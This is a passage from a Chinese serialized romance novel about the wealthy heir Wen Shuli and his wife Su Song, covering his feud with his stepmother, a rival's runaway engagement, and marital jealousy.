温戍礼看都不看他,说:“进去问问?说不定林美丽又会给你钱,这情况,你能带她走,要多少钱都有。”
论阴阳人的本事,他真是不如他。顾辽舟举手投降:“我跟你道歉,兄弟我不该贪,你让我拿,我还拿两次,这事是我不厚道。”
昨晚收钱是温戍礼知晓点头的,今天的没有。
顾辽舟跟着他走,还给他拉开车门,直接将狗腿贯彻到底,一边还解释:“我要跟你说,可你电话打不通。”不能全怪他啊!
温戍礼上车,拿出手机,下了飞机,就被人接来,手机都还没碰,关闭飞行模式,等了一会,手机“叮叮咚咚”响完,扫一眼,没有一条消息,一个电话是苏颂的。
温戍礼锁屏,连顾辽舟都知道担心他,她倒是很放心他。
“还说喜欢我?”这样没心没肺,他能信才怪。
顾辽舟上了驾驶座,回头,不知道这尊大神怎么脸色又冷了几个度。
“不是吧,真生气了?也是你让我想干就接的。”
温戍礼终于看他,说:“我还让你别找我合作。”
一句话,顾辽舟心虚的摸了摸鼻子:“不一样嘛,我以为你那样说,肯定有把握,你现在不是解决了?
不过你真的不能……”他的目光落在他的裤裆上,“林美丽连单子都有,他还拿给我看。”
“看你跟林美丽八卦得很高兴。进去继续聊。”温戍礼双手叠放在前,下巴往着温家一扬。
顾辽舟赶紧启动车子,溜了溜了,离得这么远,都还能听到林美丽时不时的惨叫声,得打多狠啊!他现在进去能知道啥,连带挨打就有份。
车子上路,顾辽舟忍不住又问:“你爸一直都这样暴力吗?”
温航之以前不这样,他跟他妈在一起的时候,绅士风度,要不是当场捉奸,他妈大概一辈子都会被蒙在怀里。
说白了,温航之就是一个伪君子。林美丽只是打开他一直隐藏的一面,现在是她自作自受。
只是,这场较量,是他赢了,可他为什么不高兴呢?
说到底,彻底认清自己的父亲,看清在他心里无父子,只有利益,也是一件悲哀的事情。
“你爸打过你吗?小时候。”
闻言,温戍礼冷笑一声:“他敢!”
142 比得不到更痛的是,不爱
顾辽舟开着车,语气不敢苟同:“你小时候,连林美丽都敢体罚你。”
一个上位的继母,在豪门里也是见色行事,没有温航之的纵容,怎么敢那样对待温戍礼。
温航之确实一直都睁一只眼闭一只眼,但他也不敢出面。
“我刚才想起来当年,我主动去找你和好,你跟我说的话,我都觉得你惨。”
“?”
顾辽舟透过后视镜看一眼,说:“你忘了?你当时说‘那里是我家。只不过是住着他们一家子……我的家’多可怜,现在想出来,我都清楚记得你当时的话。”
一个在外前拥后呼,风光无限的大少爷,结果在家却过成那样,谁想得到呢!
顾辽舟叹完气,又回到原题:“你到底是怎么斗败林美丽的?”
开车都压不住八卦的心,他竖着耳朵听。
温戍礼的手指敲着手机侧面,说:“不早跟你说,那是我的家。”
不是连带关系,后面三个字是主语。
温家,是他的!
他讥诮:“住我的地方,花我的钱,温航之都知道夹着尾巴,她是没把我的警告放在心里。”
顾辽舟把车开到了苏颂的茶楼,老城区交通不便,茶楼生意好,他只能把车停在巷口,但温戍礼看着外面,虽不语,但已经知道是哪里。
顾辽舟撬了一路,终于把温家发生的事情八卦清楚了,一手搭着方向盘,一边转过身跟他说:“所以你早就知道她在医院偷拍你们了,故意拿接了医院门口给你塞的小卡片,让林美丽误以为你真的有隐疾?
那报告怎么回事?”
林美丽可是直接拿出检查报告单给他看。
温戍礼手指敲着手机,神色已经不可察的缓和下来,这次直接告诉他:“提前放张报告单的事。”
顾辽舟已经说不出其他词汇了,直接大拇指肯定。
两人下车。温戍礼问:“来过?”意思是,怎么知道这里。
这是温戍礼从温家出来后,第一次主动问他话,顾辽舟知道,是因为他来对地方——苏颂的店。
顾辽舟笑:“今天也是第一次来。我也是偶然听到客人提起才知道。开这么一家店,为了让嫂子开心?”
“她闲,与其忙着找地方去,不如创业。”温戍礼单手插兜,不知道真假的说了一句。
要不是顾辽舟知道温戍礼这一年因为苏颂跟闫丽走近,闹了多少笑话,还真就信了:“嫂子真奋进,一个苏氏就够她忙了,也不至于是你在管。
是不想嫂子去找周正焕吧?”
顾辽舟了然的说:“你看你对你继母,隐忍这么久,可谓君子报仇,二十年都不晚。你的性子,有人当面挑衅你,你不可能忍得了。再说这个周正焕,也是初生牛犊不怕虎。
那次在宠物市场,周正焕抱着嫂子大摇大摆的出现,我当时真怕你一气之下出手。”
顾辽舟边走边说,话越来越密:“那可是周家人,真动了,可就大麻烦了。你当时忍得下,回头开家店给嫂子,转移嫂子的注意力,理智。
你要带嫂子去参加周正焕的订婚宴,是因为看出来嫂子对周正焕一点意思都没有吧?
喜欢的人参加自己的订婚宴,比得不到更痛的是不爱。
你真是杀人诛心!”
温戍礼不声不响已经走在前头,落下一句:“脑子全长想象力了。”
顾辽舟:“……”
茶楼店长见是温戍礼,立刻跟他说苏颂也在店里。于是两人往着办公室走去,刚走近……
“你乖一点,回到家先别吵闹,等过段时间,我就让他认你当干女儿,这样以后你就能一直留在家里了。他不能生,肯定会把你当自己孩子看待。”
办公室的门没关,苏颂背对着门,手里举着一只猫,正为猫咪畅想着未来蓝图。
“噗嗤!”顾辽舟忍不住笑出来。
苏颂转身,看到两人,眼神飘忽:“我……我不是在说你。”她知道男人最怕被人说不能生,现在还有顾辽舟在,她解释着,只是有些越解释越乱。
温戍礼冷冷淡淡的站在那,目光扫过去,那猫缩了一下脖子,似乎知道男主人不喜欢自己,往着苏颂怀里钻。
他最不喜欢这猫这个死样子,搞得苏颂是它的一样。
“不是说我,你还知道谁不能生?”
苏颂冷汗,这话不好答。
“苏颂,我还不知道,你这么盼着我不能生,就为了给一只猫一个家。”
“不是……”
“该说你博爱,还是狠心?”
“我……”
“还好只是误诊,要不然你还要我做万兽之父!”刚开始就猫,接下来就狗,猫猫狗狗,可能还会有别的家禽。
“哈哈,那不就是禽授?”顾辽舟听后,接了一句,瞬间,两道冷冰冰的眼光都扫在他身上。
顾辽舟:“……”
。
这一晚,温戍礼格外卖力,苏颂忍着,推他:“不要了。”
“苏颂,别动歪心思,老老实实给我生个孩子。”
浮浮沉沉间,苏颂只觉得委屈,她什么时候动歪心思,又什么时候不老实了?
“我没有……”终于,忍不住的泪水从眼角滑落。
。
转眼到了周正焕订婚的日子。
周扬平看着一身正装,打扮精神的侄子,目光流露出满意:“这样就对了,你上次那一病,把家里人都吓坏了。”
家里人都以为周正焕只是体弱,只有周扬平知道不是。他忽然改变主意同意跟白雯订婚,周扬平就察觉到了不对劲,后来向部下打听才知道,是因为苏颂。
那天在江边,苏颂大概对他说了绝情的话,让他心脉受损。
周扬平说:“让过去过去,面向未来,才是一个男人的样子。感情可以慢慢培养,把心先收回来,以后再慢慢给白雯,感情是可以培养的。”
周家的男人都痴情,都只对妻子忠心。
“那小叔呢,你的心给了闫丽了吗?”见小叔的脸色阴沉,没了平常的笑意,周正焕笑了一下,“开个玩笑,我先出去了。”
周扬平却不放心,叫来自己的手下:“盯着点大少爷,要保证今天的订婚宴万无一失。”
“是!”
周扬平拿出一部老人机,这是他的私人手机,只有极少人有这个号码。这段时间,他给闫丽打过电话,她没接。
看着又是空白的界面,已经十多天了,闫丽没有联系他。
他望向窗外:“这个女人,又在玩什么把戏?”
143 周正焕的订婚宴
苏颂跟着温戍礼来到酒店,是上次来过的明河酒店,这种场合是温戍礼的舒适区,多的是人要找他聊天,苏颂去了个洗手间出来,就找不到他了,就在这时,莫离宗过来。
“你说的是这位苏小姐吗?”他五指并拢,礼貌的往苏颂示意。
苏颂看过去,只见闫丽一袭红色紧身礼裙,姿色美艳,对莫离宗笑得更是艳丽,说:“是的。谢谢你,莫、先、生。”她喊的语气带勾。
美人热情对哪个男人都管用,莫离宗笑得开怀,道:“不必客气,闫小姐,不过以后你说‘温太太’,别人会更容易知道你在找谁。”他正好碰见闫丽在跟人询问“苏颂”,但那个人没想起来是谁。
莫离宗又同苏颂解释:“温太太,我进来的时候,恰好碰见这位小姐要找你,请问这是你朋友吗?”
明明都跟闫丽对好了,还来转头问她,这也许是顶层男人的教养吧。
苏颂点头:“是。”
得到肯定,莫离宗礼貌离开,不打扰她们聊天,十分周到。
苏颂道:“不愧是酒店老板,面面俱到。”要是她,肯定顾不到这么多。
闻言,闫丽却轻哧一声:“不过又是一个攀权附势的势利眼。你信不信,我要是只是来找一个普通人,他肯定直接忽略。”才不会热心的问她“请问你是要找温太太吗”?
一想到刚才莫离宗那个殷勤样,闫丽直接翻白眼。
苏颂知道,闫丽的厌男症又犯了。大概干一行厌一行,闫丽赚的是男人欢乐场的钱,甚至很多男人为她迷恋痴狂,但极少人知道,她内里其实很讨厌男人。
苏颂尬笑,说:“不会吧,他是这家酒店的老板。”不管怎么说,也会多为酒店考虑一些。
她语音刚落,直接被闫丽怼一句:“酒店老板就怎么了?越是有钱的男人越坏,特别是那些有钱又有权的。这些人连你的名字都记不住,有什么好往里凑的,你连你自己都忘了。”
瞬间,苏颂说不出话了。
这几个月,温戍礼带她参加各种宴会,一开始她挺高兴的,觉得是温戍礼心里开始有她,可好几次,她没跟在他身边,不是有人问她是谁,就是问她跟温戍礼什么关系,原来嫁给温戍礼四年,还有很多人不知道她是温太太。
那一瞬间的沮丧跟无措,她不敢跟人提说。可现在,却被闫丽无意的一句话击中。
是啊,当上温太太后,她好像真把自己给忘了。曾经的苏颂,是怎么样的呢?
闫丽看出苏颂的伤感,知道自己顾着发泄情绪,戳中了苏颂的痛点。一入豪门深似海,她嫁进温家后,跟他们的关系都断了,就知道她在温家也不好过。
闫丽补救道:“不过今天这种场合,姓温的知道带你一起来就对了,我还担心他顾着吃醋,不让你来。”
苏颂笑了:“他收到请帖就说带我来了。他跟那些风流公子不一样,就算没带我,也不会带别的女人。”
这事,她也是融入圈子后,听那些贵妇说的,说之前温戍礼跟别的女人一起进来,进场之后就不管对方了,碰上过骄纵一些的千金当场闹,被他一句“我已婚”,就击败得毫无颜面,久而久之,圈子里的千金就算想攀高枝,也不愿意充当温戍礼的女伴了。
“既然还不至于一无是处,就过着吧。孩子有爸爸还是更好一些的。别学我,极端。”闫丽交叉着手,懒懒的靠在桌子边,整个人散发出一种颓然的美。
苏颂侧过头看她,嘴角微微勾起:“嗯,会过下去的。”都结婚好几年了,最难熬的时候都熬过来了,好不容易看到点幸福的芽尖了,又怎么会反而过不下去呢?
现在的苏颂对她跟温戍礼的未来充满憧憬,整个人因为满足而散发出柔和的光。
“不过丽姐,你怎么说得好像真要当单亲妈妈一样啊!”
温戍礼跟顾辽舟一起过来的时候,正好看到她们两人侧面对面的样子。
两个女人,一个艳丽妖娆,却表情颓然,像玫瑰激烈盛放后,即将凋落,美丽却透出不甘。一个清秀单纯,表情柔和,像沐浴着阳光盛开的向日葵,带着勃勃的生命力。
生命的终端跟开端,应该是相悖的,可此时,两个人站在那,像朝阳跟余晖交融,仿佛她们就该互补一般,反而美得像一幅画,竟和谐得不像样。
“我怎么有种她们两个很登对的感觉?”顾辽舟摸着下巴,看起来,一个想堕落,一个像救赎。
顾辽舟欣赏着美人,忽然感觉身边一道犀利的视线,转过头,就对上温戍礼那双冷冰冰的眼,如果眼神能化形,大概他就是在给他递冷刀。
“不说话,没人把你当哑巴。”
顾辽舟放下手,想起来曾经温戍礼可不就是吃闫丽的醋吃得苦闷不已,差点都要被整抑郁了吗。他抬起手,对着嘴,做了一个拉链的动作。
手动闭嘴。
温戍礼没理他,抬步向前,唤一声:“苏颂。”
苏颂正想象着自己的未来,结果下一秒,她憧憬中的男主角就朝她走来。
今天的他穿着一套银灰色西装,未来搭配,戴着他平常工作戴的银丝边眼镜,比平常多了几分斯文。
温戍礼高大帅气,能力强,家世好,又多金,还洁身自好,这样完美的男人,她会日久生情,逐渐沉沦,一点也不意外。
主要是,苏颂知道自己喜欢他,现在,他也喜欢她。
她的笑容在见到他那一瞬,变得张扬明媚。她朝他走去,成了两厢奔赴。
一切人群像是背景板,站在楼上的人,眼里被这一双人刺痛,愤然转身。
闫丽看着苏颂挽着温戍礼的手臂,被他带着游弋在人群中,那恬然娇美的模样,止不住的羡慕。
“祝福你,颂颂。”
“这周家怎么回事,以往要进周家人的局,难得跟登天似的,怎么今日,连你都来了。”
顾辽舟不知道什么时候走近,开口就是埋汰话,显然的瞧不上闫丽的出身。
144 温大少的隐忍与爆发,信任危机预警
闫丽别他一眼,就要走,却被顾辽舟拉住:“开个玩笑,你跟我,在周家人眼里,出身半斤八两。
周家说是十几年没有办喜事了,周老爷子又一向偏爱一些这个大孙子,所以周大少的订婚宴就办得隆重一些,今天几乎南城有头有脸的人都来了。”
闫丽挣脱开他的手,说:“那很抱歉,我跟你有头有脸的不一样,我只是‘那个女人’。”
拽酷姐道歉只能说明火气大。
顾辽舟把手插进兜里,看着她,道:“还在生我那天的气?我只是看你喝多了,才把你带上去。你不是刚上去一会就醒了,我洗完澡出来,你都走了。
我没对你做什么。”
那天顾辽舟跟温戍礼中途折返后,觉得温戍礼太分不清轻重,心里带气,到了酒吧看到闫丽喝得烂醉,就把人带走了。算他对闫丽的身体有点意思,可他那天真没干什么,这人那天之后,偶尔在街上遇到,就对他甩脸色。
有一天,他受不了了,就去她店里问清楚,结果她直接说,不熟,勿扰!
他们就算不是朋友,也是不打不相识,都同一条街做了快一年的对面邻居了,还不熟?
不过顾辽舟更气的是她说“勿扰”,从来都是女人上赶着粘着他,他还没有被女人嫌弃过的,所以两人一怄气,也半个月没联系了。
见闫丽还是仰着脖子,一副不肯低头的样子,顾辽舟投降:“好了,男女授受不亲,何况你有老相好,是我过了分寸,我不对。
好了吧?”
他坏坏的,不见几分诚意。
闫丽看着他,转身就走。刚走到边上,掀开隔帘,就遇到周扬平。
周扬平看到她,反应很快,对身后的手下看一眼,那人便到外面守着,看着不让人进来。
周扬平一贯的笑脸,问她:“正焕也给你发了请帖?”周正焕大病初愈,他爸什么事都依着他,请帖都是他自己准备的,他们都没看到名单。
闫丽哼笑:“是啊,还是朋友可靠。老情人不敢发,朋友可是毫无顾忌的发。”
听得出来是在闹脾气,周扬平也知道闫丽不是个老实的主儿,不是什么大事的情况下,他都是由着她。
他低笑出声:“正焕在你这是越来越有地位了。不过今日是他订婚,他给你发请帖很正常,不能对我撒气,又不是我办喜事。”
“那你的意思是,你要结婚的话,会给我发请帖咯?”
“我没有再婚的打算,如果有……”周扬平看着她,抿着的唇瓣,嘴角依然上扬,这人笑惯了,也许是天生爱笑。
缓了半秒,他说:“要不要请你,再看。”
忽然,闫丽只觉得酸涩得厉害,嘴里、心里。从那天看到他带着一个女人走出婚纱店之后,她这些天就一直是这种心情,说不出、压不住,情绪上来了,甚至想吐。
“呕”这会,胃里又翻涌着恶心,闫丽一把推开他:“让开,空气都被你挡不好了。”
她挥得用力,话也难听,周扬平见她忍不住想吐的样子,就差把嫌弃他写在脸上,终于有了情绪波动。
“适可而止。”
他保持着背对她的姿势,两手搭在身后,语气不重,却字字清晰。
“你来了南城之后,已经踩到我好几次底线了。我不会一直包容你,我的耐心有限。”
“不接我电话,给我甩脸色,甚至动手。你越界了,闫丽!”
他极少喊她,只会在动情的事情喊她“乖乖”,只有在生气的时候,会连名带姓的叫她,彰显他的余威。
闫丽压下胃里的翻涌,也压下心上的酸涩,一并情绪都狠狠地咽下去。再次开了口,也不再讨还。
“那就散了吧。”
她抬步,高跟鞋的细跟敲出一道节奏,像是为她的潇洒抽身配乐。
不曾谈过恋爱,说不上分,那就散了吧。
周扬平侧过身,看着她决然的背影,意识到她最近的冷淡不是欲擒故纵,她不是在跟他闹别扭,而是来真的?
散?不想跟他继续了?就在他想追上去让她说明白的时候,帘子那边,大厅里的音乐已经响起,订婚宴开始了。
想把人抓回来的心思暂时作罢。他,周家三爷,也没挽留过谁,这一刻,周扬平依然觉得,闫丽就是在闹脾气,晾晾就好了。
他抬步,往着大厅里面走去,今天,大哥委托他当两个年轻人的见证人。
台上的主持人开始讲话,苏颂跟温戍礼的舞也停下来,他们都看着台上。
温戍礼问:“觉得他们在一起会幸福吗?”
苏颂想也没想的点头:“肯定。正焕很细心的,只要是他喜欢的女孩,肯定会很幸福。”
“是吗?”温戍礼转头看她,“那如果,白雯不是他喜欢那一个呢?”
苏颂把看着台上的目光收回,对上他的眼,不知名的,心里有些没底。
她问:“你这话,是什么意思?”
温戍礼问她:“你真的一直都不知道,周正焕喜欢你吗?”
有什么在苏颂的脑子里裂开,他这句话,像是一个惊天大雷,把苏颂惊吓得丧失语言能力。
周正焕喜欢她?
“接下来有请我们今天的主角,周正焕。”周扬平作为见证人,字正腔圆的说出“周正焕”的名字,帘布被拨开,露出那张不管见过多少次,都会让人觉得漂亮的脸。
在场的,很多人没有真实见过他的样子,惊艳声此起彼伏。
“身为朋友,常常看着他那张脸,你就没有动过心思吗?”温戍礼的质问还在继续。
苏颂招架不住,只能用力一些挽着他,借些力站稳。
她勉强微笑,问:“你今天是怎么了?怎么老是问奇奇怪怪的问题。”
温戍礼的目光一直盯着她,像是要从她的表情探究出什么。
“你真的睡到不知道他抱你吗?”他指在宠物市场那次意外。
苏颂看着他,眼里的清澈渐渐被慌张打乱。
“你真的昏迷到,被人从郊区送到周家,颠簸了近两个小时都没醒吗?”他指的是,那次在温泉酒店,她被带来唤醒周正焕。
“你什么意思?”再好的脾气,也不是没有脾气,这一刹那,苏颂生气了。
温戍礼却没有停止,他甚至问:“你初来南城,上周家找他,真的没有动过嫁给他的心思吗?”
145 周正焕逃婚。你当年是想嫁给我吧?
温戍礼古板但思想并不老旧,他知道,现在的人很多在学校就谈恋爱,更何况苏颂长得那么漂亮,追求她的男生肯定多。
所以新婚第一夜,知道她是第一次,他内心是难掩的狂喜,以至于婚后第一年,每当想到新婚夜,他都会想要急切的占有她,他以为,他得到了那个珍贵的个例。
从她跟周正焕在夜店蹦迪的照片流露出来的时候,他想,也许她也有点过去,但只要断的干净,也不妨碍,可偏偏,苏颂不想断干净。
她说她想要朋友,她开始在家发呆,越来越让人察觉到她的孤单,他尽量抽时间陪她,带她参加各种宴会,甚至连茶会都带她去,不让她一个人在家无聊,本来也没什么大事的……
偏偏,她放不下。大晚上的,被周扬平带到周家去,她不仅不慌乱,不求救,甚至还真的去看望周正焕。
是什么让她的胆子变得这么大?
担心。因为她听见周正焕昏迷不醒,很担心,这种担心盖过害怕,所以她便没了恐惧,甚至出来的时候,还喜滋滋的,捧着周扬平给的谢礼……
更让温戍礼不悦的是,整个周家,甚至请动了京都来的名医都没有让周正焕清醒,苏颂一进去,就醒了。
他对苏颂的喜爱,如此刻骨了吗?
像温戍礼这样从未输过,又不可一世的男人,又怎么能接受自己的太太心里藏着一位有分量的男人?更别说容忍别的男人觊觎自己的太太。
温戍礼看着眼前的妻子,更重要的是她跟周家人的关系,比他想象的更亲密。被南城上流圈称为最难接近的周家,却对苏颂另眼相待。
为什么另眼相待,因为周家人曾经都接受了苏颂,将她当成周家人。
原来苏颂当年来南城真的考虑过周正焕,这点才是他最不能接受的。
他温戍礼,竟然真的只是备胎。
苏颂被他的话气到发抖,垂下的双手攥着,隐忍着,问:“你在怀疑我?”
凸起的喉结滚动,温戍礼在商场上无往不利,这会却觉得口中发涩:“你当年来南城,从温家出来后就去周家,一开始是不想跟我结婚,想嫁给周正焕吧?”
只是那会妾有意郎无情。周正焕不知道什么原因领会不到苏颂的意思,宁愿用上周家的名片,给她拉人脉资金,而给了温家答应婚事的时间。
“你否认吗?”
苏颂于他对视,她正要开口,就在这时,台上发出话筒的啸叫声。
她看过去,周正焕手里的话筒被抢走,争夺着话筒的周扬平还往后叫来人。可周正焕在嘶吼,声音穿过人群,贯穿在每一个角落。
“我今天要带颂颂走!”
这一刻,苏颂的瞳孔放大,她第一反应是朝着温戍礼转头,可是却看到黑乎乎的枪口对准他,有人扯了她一下,然后是周正焕的声音:“颂颂,我们走,我们离开这里,以后绝对不会再让他欺辱到你。”
他牵住苏颂的手,紧紧的握住,不由分说的拉着苏颂就走。人群早已混乱,周正焕不知道怎么调动的这些人,正跟周扬平的人对抗。
苏颂感受到外面的风,迎面的风吹醒她,她一边被拉着跑,一边掰扯着周正焕的手。
“你放开我。”
周正焕却说:“颂颂,丽姐在外面接应我们。”
闫丽?
当看到闫丽坐在一辆半旧的悍马车上时,苏颂有种自己是不是在做梦的感觉,掐了一把自己的大腿,疼痛感让她惊呼一声:“疯了。”
今天的女主角白雯,穿着白纱追出来:“周正焕,你不能走!”
可是车子已经启动,开车的闫丽往后一看,骂了一声:“草,这是要跟你订婚的女人?”
周正焕眉心蹙着,敷衍的应了一声:“嗯。”
闫丽一边打着方向盘加速,一边说:“那为什么是周扬平带她去婚纱店?”
周正焕:“我前阵子病了,昏迷。所以你误会我小叔了?”他敏锐的察觉到什么。
“不止误会,我还跟他说散了。”闫丽咬着唇,事搞大了。
周正焕无语。苏颂却听得震惊,所以闫丽在南城的这位男朋友,是周家小叔?
疯了,全疯了!
车子呼啸开过南城的大小街头,苏颂对南城这座城市不算太熟悉,但不远处的跨江大桥让她知道,要过界了,他们要出南城了。
“我们不能离开这里,丽姐,正焕……”一旦出了这座城,她的身上将背上污点,跟温戍礼的婚姻就真的走到头了。
周正焕却兴奋的说:“你不用怕,到了海城,就连我家里人也没办法,我们自由了。”
他很是高兴,激动的握住苏颂的双手表白:“颂颂,以前是我顾虑太多,害你受了好几年的委屈,这些年我也很后悔。既然你过得这么不开心,就再给我一次机会吧。
我喜欢你,颂颂,我以前就喜欢你。”
苏颂说,以他的出身不可能喜欢她。不,这跟出身没关系,是他一直被朋友那道防线阻碍着。
她是李斯俊先遇到的,她是李斯俊喜欢的女孩,他是受李斯俊之托照顾她,怎么能夺人所好呢。
可是这一次病,他的脑子里一直重复着那天在江边看到苏颂的样子,那么哀伤,那么无助,她不快乐。
这一场重重复复的梦,让他想得很清楚,他不想当君子。或者说,苏颂已经没有选择李斯俊了不是吗,可温戍礼对她那么冷淡,温家人对她也不好。这一刻的周正焕,觉得自己是在拯救苏颂于水火。
苏颂往着后面望,车流中,一辆熟悉的车子冲出来,是温戍礼的车。
他们追过来了。
苏颂挣脱出自己的手,严肃的警告:“别再说了。”
可现在的周正焕沉溺在自己的幻想中,他说:“其实你当年到周家找我,我知道你是不想嫁给温戍礼。”
当时知道她被她奶奶带到南城来,他第一时间就回来了,只不过回来之前,他还给李斯俊打过电话。
李斯俊让他尽量帮她。
他跟李斯俊都是爱情的傻子,一个爱了不敢认,一个知道却不敢爱。
当年的错过,是他们咎由自取。现在他不想再错下去。
周正焕说:“当年你去找我,是想要我娶你吧?”
146 她提心吊胆,他冷眼旁观
当年,不到一个小时,她被问了两次这个问题,她当年为什么去周家呢?
父亲陈楠之走后,苏颂无缝链接的接任苏氏,她甚至连多为父亲流多一滴眼泪的时间都没有,奶奶也一下子老了下去,再也没办法提起精力来管理苏氏,云城那些财狼也蠢蠢欲动,等着瓜分掉苏氏。
她知道苏家得由她来扛了。
可是她一个大学生,没有实践经验,没有扎实的人脉,公司上下都对她阳奉阴违,她第一次意识到,自己势单力薄的可怕。所以当她问她奶奶。
“我们来温家干什么?”
“求亲。”
得知奶奶的目的的时候,她甚至连一句反对都没有。
用她的婚事挽救落败的苏氏,是最快的办法,也是能避免她执掌苏氏的办法,她实在管理不来。
但她跟奶奶好不容易进了温家,温家却只让奶奶一个人进去谈,她等了好久,等来了温泰。
温泰对她语气轻佻,还想调戏她,她狠狠甩了他一巴掌,后面温家的管家出现,喊了他一声“二少”。
那是温家的儿子?
温泰顶着一张红了半边的脸,指着她,狠狠的说:“你给我等着瞧,迟早收拾你。”
她以为奶奶是要让她嫁给温泰这个登徒子,不,不要。
那个时候,是苏颂人生第二次至黑的时候。跟后面这几年,温戍礼给她的冷言冷语,真算不了什么。
“是。”苏颂说,她当时听说周正焕在南城,火急火燎的前往周家,当看到周家的庄严之后,她知道他能帮到她。她抱着一丝希望,如果周正焕愿意娶她的话,她要嫁给他。
“可你当年选择拉下脸,带我去见那些老总。”苏颂语气淡淡的说。她不怪他,毕竟身为朋友的话,他已经够意思了,可他已经选择了,怎么能又变卦。
闫丽开着车也侧过头看一眼,苏颂的语气变了,不对劲。
周正焕也感觉到苏颂的变化,甚至被她清澈坚定的眼神,看得回避。他在心虚。
“当时我就想,如果以后都得面对那些油腻的中年男人,防着不知道什么时候被骚扰,那还不如只被温泰一个人骚扰就好了。”
周正焕有周家的名头护着没错,但他太年轻,并不是所有人都忌惮他,那些老总嘴里说着帮,实际上却迟迟不出资,还有些,直白的目光上下扫视着她,他们在掂量她跟周正焕的关系,甚至把她想成是周正焕的小女朋友,估算着,如果她被周正焕不要了,这个姿色,他们接手亏不亏。
那是苏颂第一次意识到,自己像个玩物,跟周正焕这样贸贸然的出来,是个错误的决定,所以过了几天,奶奶说温家答应联姻的时候,苏颂点了点头。
好在,对方是温戍礼。
苏颂说:“我当时是不想嫁进温家,但不是不想嫁给戍礼,我误以为奶奶要把我嫁给温泰。”
车子发出刺耳的摩擦声,闫丽一个急刹车,把车停下来。
闫丽拍了一下方向盘,骂:“靠。”
苏颂看去,周家的人在他们的车上桥前,拦住了他们。
千钧一发,败局已定。周正焕羽翼未丰,怎么可能是他小叔的对手。
见他还在不可置信中没回神,苏颂说:“让我下车吧,我先生来接我了。”
苏颂打开车门,周正焕又拉住她:“颂颂,你真的想清楚了,要跟温戍礼过一辈子?他那种被养出来的人形机器,是不懂感情的。”
跟他在一起,她会受委屈的。
苏颂侧过身,轻轻笑了一下:“婚姻,跟谁就不委屈呢?至少他知道自己喜欢我,愿意让着我。”
这半年多来,温戍礼的改变她看在眼里,不愁吃喝,衣行无忧,三餐四季,有人念想,她要的不多,而他能给的也恰好。
“你爱上他了。”不是疑问,而是肯定。周正焕的手收回来。
苏颂对着车玻璃,手轻轻推开车门:“那天在江边,我已经跟你说清楚了。你真为我好,就该守着朋友的界限,而不是像今天这样,你的冲动破坏了这场平静。”
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苏颂下车,周正焕怔怔看着她的背影,在她关上门那瞬间,喊:“你那么渴望爱,你会受不了的。”年幼丧母,家中长辈的忽视,造成了苏颂的缺爱,她不喜欢一个人,喜欢去夜店,看重朋友,都只因为她想要有人陪,想要感受被爱。
如果她没对温戍礼动心的话,温戍礼对她的好,尚能满足,可动了心,温戍礼那点喜欢太少了。一旦发现对方回应的爱满足不了,她会受煎熬的。
他透过后车玻璃,看到苏颂头也不回的跑向温戍礼,扑进他的怀抱。
耳边再次响起,那日她在江边对他说的话。她说“再见,正焕”。
原来她说的再见是这个意思,她那么聪明,又怎么会看不出他的意思,原来是要他退回到朋友的界限。
可他怪不了她,因为四年前,他也对她说过“再见”,带她见完那些富商后,他以为已经帮她解决了问题,他忽略她来找他可能有的目的,守着“朋友妻不可欺”的想法,用自认为高尚的做法,要她回到朋友的位置。
这四年他想通了一件事,李斯俊算个屁,连苏颂的手都没签到,算什么朋友妻。
而现在他又想通了一件事,他周正焕算个屁,连苏颂的忙都没帮到,算什么朋友!
是他误会她的意思了。
“要命!”
周正焕听到闫丽的骂声,看过去,驾驶座车窗外,他小叔站在那。
做错事总要付出代价,周正焕笑了一下,好吧,他认。
苏颂抱住温戍礼,她发现,她刚才在车上好怕,她怕事情真到了糟糕的地步,如果她名声尽毁,他会不要她。
好在,他及时把她追到了。
她满心欢喜的感受他的体温,他有力的心跳,熟悉的味道让她感到安心,可是,渐渐的,苏颂就笑不出来了。
他没有回抱她。
苏颂退开一点,入目的,是他清冷的眉眼。
他只是冷冷的看着她。
“咯噔”,苏颂听到自己的心,往下掉的声音。
147 横刀夺爱,夺得到的,也是本事
这场突然的事故造成了马路大塞车,在此起彼伏的喇叭声中,一个女人却站在马路对面眺望。
绿色的绸伞下,一袭湖绿色的旗袍,勾勒出女人美妙的曲线,像是这夏日里,幻化出来的荷花仙女,漂亮得让不少车主忘记烦躁,看呆了眼。
陈曼曼勾唇轻笑:“苏颂,这一次,我要你死!”
。
温戍礼跟苏颂回到家,从路上,温戍礼手机的来电就没有停过,一进家门,他就去书房接电话。
苏颂有看到来电,是温家打过来的。忽然间,她拘谨得不知如何是好。
周家今天的订婚宴办得非常隆重,本来想巴结周家的人就多,今天更是能去的都去了。周正焕违背家里,逃婚还带她走的事情,肯定都传开了,这一次还有很多现场目击者,她跟周正焕之间,真是说不清了。
公公温航之肯定会对他大发雷霆吧,她呢?此时的苏颂好害怕,她怕温航之直接让温戍礼不要她。
书房的门被打开,苏颂弹跳一般,立刻站起来,闭着眼睛,像是吼出来的:“我不离婚。”
空气中,沉默了一瞬。
响起他的声音:“我是你想结婚就结婚,想离婚就离婚的人?苏颂,你太把自己当回事了!”
苏颂睁开眼睛,只见温戍礼已经走到沙发里坐下。
他说:“泡杯茶来,头晕。”
在宴上喝了点酒,又追着他们的车跑了半个云城,现在整个人都晕乎乎的。
一般小酒,苏颂会给他泡绿茶,如果加上头晕的话,她会泡从家里带过来的,她奶奶特意从一个老师傅那买的手工炒茶。浓郁一些,冲刷肠胃,舒缓不伤。
温戍礼喝了一口,随后喝了大半杯。苏颂一直注意着他,只听他喝后问:“你有什么想说的?”
苏颂战战兢兢,一路上都想解释,可找不到时机,现在他问,她倒是不知道怎么说了。
“你别生气。”她清楚,这种事,让他丢脸了。
她低着头,绞着手,红着眼,哽着声。若是以往,温戍礼肯定不会再多问,甚至会拢她进怀里怜惜。
他对她的抵抗力一向不太高。
但此刻,他却做不到,甚至看着她那手,想到都是周正焕拉着她的样子。
温戍礼微微拧着眉头,像是在努力压制心中的厌恶感。
“我为什么生气?”
苏颂声音如蚊:“那么多人,让你没面子。”
奶奶说,在外,女人要给足男人面子,回到家里,男人才会给足女人里子。
那些人都是他平常要遇到的,他肯定觉得难堪。生气是必然的。
“面子?”哪知道他却冷哼一声,“再多的人,也没有你跟他上热搜看到的人多,我的面子你早给我丢了。”
旧事重提,苏颂的指甲扣进皮肤里,她看着他。
温戍礼站起来,说了一句颠覆苏颂对他认知的话:“面子跟妻子,孰轻孰重,我还分得清。
面子我丢得起,但妻子……”
